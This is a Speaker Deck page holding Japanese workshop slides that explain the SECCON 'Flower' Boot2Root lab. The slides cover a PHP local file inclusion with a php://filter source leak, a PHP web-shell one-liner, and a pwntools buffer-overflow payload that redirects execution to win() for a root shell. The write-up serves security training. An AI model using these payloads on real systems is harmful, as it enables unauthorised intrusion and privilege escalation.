Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
SECCON 電脳会議 13 RWPL_Flower_解説
Search
Sponsored
·
Your Podcast. Everywhere. Effortlessly.
Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
→
Yunolay
March 06, 2025
37
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
SECCON 電脳会議 13 RWPL_Flower_解説
SECCON 電脳会議 13 RWPL workshopで出題したFlowerというBoot2Rootの解説スライドです。
Yunolay
March 06, 2025
More Decks by Yunolay
See All by Yunolay
My road to OSEE Part1
yunolay
0
420
Featured
See All Featured
Design of three-dimensional binary manipulators for pick-and-place task avoiding obstacles (IECON2024)
konakalab
0
590
Stop Working from a Prison Cell
hatefulcrawdad
274
21k
Future Trends and Review - Lecture 12 - Web Technologies (1019888BNR)
signer
PRO
0
3.7k
Mobile First: as difficult as doing things right
swwweet
225
10k
Efficient Content Optimization with Google Search Console & Apps Script
katarinadahlin
PRO
1
850
Unsuck your backbone
ammeep
672
58k
My Coaching Mixtape
mlcsv
0
310
GitHub's CSS Performance
jonrohan
1033
470k
Into the Great Unknown - MozCon
thekraken
41
2.7k
Navigating the moral maze — ethical principles for Al-driven product design
skipperchong
2
520
Fashionably flexible responsive web design (full day workshop)
malarkey
408
67k
Being A Developer After 40
akosma
91
590k
Transcript
SECCON電脳会議 13 RWPL Flowers @Yunolay(ゆのれい)
自己紹介 • 名前: ゆのれい • Twitter(X): @Yunolay • 資格: OSCP,
OSCE3, CBBH, CPTSなど • HackTheBox: Omniscient rank, Season3-6 Holo rank. • 仕事: セキュリティ全般 • 所属コミュニティ: • Synack SRT • 7h3B14ckKn1gh75 (aka) Knights • Real World Pentesting Lab (RWPL)
Boot2Rootとは • 与えられた環境に対して、脆弱性を利用して侵入して 最終的に特権権限を取得するといったものです。 • 初期侵入(例:www-data)→権限昇格(例: root)
ユーザ権限の取得(一例) • 任意コマンド実行 • <?php system($_GET['cmd']);?> • →リバースシェル(https://www.revshells.com/) • 認証情報の漏洩など
←今回のシナリオで出題 • Q: 実際に認証情報の漏洩はありうるか? • A: サブドメインなどにgitのサービスがあり、sshpassなど を使用しているため、認証情報が漏洩などのケースが感が られます。
権限昇格(Linux) • SUIDバイナリによる権限昇格 • sudoのno password • 設定不備の悪用 • Pathインジェクション
• バイナリエクスプロイト ←今回のシナリオで採用 • カーネルエクスプロイト • などなど
Flower シナリオ概要 • ソースコードリークによる認証情報の漏洩 (web) • 特権権限ユーザの所有する実行可能なバイナリに存在する脆弱性 を悪用したroot shellの獲得 (pwn)
• Flowerサーバ: http://3.112.30.17/ • 3/6までサーバーを残しています。 • 基本的なLAMPの環境のため、 ソースコードをローカルに置いて 検証することも可能です
User Part (Web) • Burp Suiteなどの中間プロキシを使用します • https://portswigger.net/burp • 中間者として通信の改ざんなどを行うツールです
User Part (web) • ブラックボックスでサイトを閲覧すると特に何も機能が見つから ないが、Englishを押したときのみ英語のページが見える。 • その際のパラメータ?page=enに注目
User Part (web) • ソースコードを確認すると以下のPHPで構成されている • ソースコードの中身を見ると認証情報が取得出来るのが分かる • でもソースコードを表示してもPHP内のコードは見えないので ソースコードリークの必要がある
<?php // Super Secret SSH Password // **** : ************************** if (isset($_GET['page'])) { $page = $_GET['page'] . '.php'; include($page); exit; } ?>
User Part (web) • 脆弱性はどこにあるか? • include($page); • ググる例: php
include LFI <?php // Super Secret SSH Password // **** : ************************** if (isset($_GET[‘page’])) { $page = $_GET[‘page’] . ‘.php’; include($page); exit; } ?>
User Part (web) • ?page=php://filter/read=convert.base64-encode/resource=index • index.phpのソースコードがBase64エンコードされて表示され る。
User Part (web) • Base64 decodeをするとソースコードのリークが可能
User Part (web) • PHP filters chain を使用してsystem($_REQUEST[“cmd”]);?>を実行 することで任意コマンドの実行も可能です。ただし今回は daemonからの権限昇格はなく、Rabbit
Holeとさせていただいて います。 • 任意コマンドが実行可能なので、`cat index.php`を実行するだけ でソースコードリークが可能です。 • https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27 8d4d
User Part (web) • こういったテクニックをどこから見つけるか • HackTricks (現在ではDockerで運用されている) • https://github.com/HackTricks-wiki/hacktricks
Root Part (pwn) • rwplユーザとしてログインすると明らかに怪しいファイルがある。 • rootが所有しているvulnがある。ソースコードであるvuln.cも置 いてある。
Root Part (pwn) • vuln.cを読んでみる。 • main()->init()->vuln() • しかしwin()を通らない •
vulnではbufを0x100確保している • つまりreturn addressのoverwriteには 0x100+0x8がオフセットとなる。
Root Part (pwn) • ホームフォルダにinitial_poc.pyが置いてある。 • ripが0x43434343(CCCC)になる。 • これをwin()のアドレスへ書き換える •
win()のアドレスは? • gdb-pede, gef, pwndbg • radare2 • IDA pro • Binary Ninja • Ghidraなど payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += b'C' * 0x8 # change this.
Root Part (pwn) • バイナリ解析ツールを使用する例 • winのアドレスやスタックレイアウトが確認できる
Root Part (pwn) • pwntoolsを使用してsshで接続してバイナリを実行してペイロー ドを送信する。 • https://github.com/Gallopsled/pwntools • 書き換える内容としてはリターンアドレスを書き換えるだけ。
payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += p64(ret) # stack align payload += p64(elf.sym.win) # return address to main -> win()
Root Part (pwn) • 実行するとBoFを使用してreturn addressが上書きされ、win()を 呼ぶためrootのinteractive shellが手に入る。 • 結果、rootフラグを取得してこのBoot2RootであるFlowerのクリ
アとなります。
最後に • 今回はシナリオとして認証情報のリーク→バイナリエクスプロイトと しました。Boot2RootとしてはCTF likeに作られていると言えます。基 本的なBoot2RootではUser shellに関しては任意コード実行からReverse shellを実行して、設定の不備を利用して権限昇格というのが多いと思 われますが、ユーザがインストールしているソフトウェアの脆弱性を 悪用することもあるため、今回は権限昇格にバイナリエクスプロイト
を採用しました。時間的にワークショップないではroot shellの獲得ま でいたらなかった方が多いかと思いますが、サーバーをしばらく置い ておきますので試していただいて、バイナリエクスプロイトをして root shellを取る楽しみを感じていただければ幸いです。
ワークショップ参加 ありがとうございました!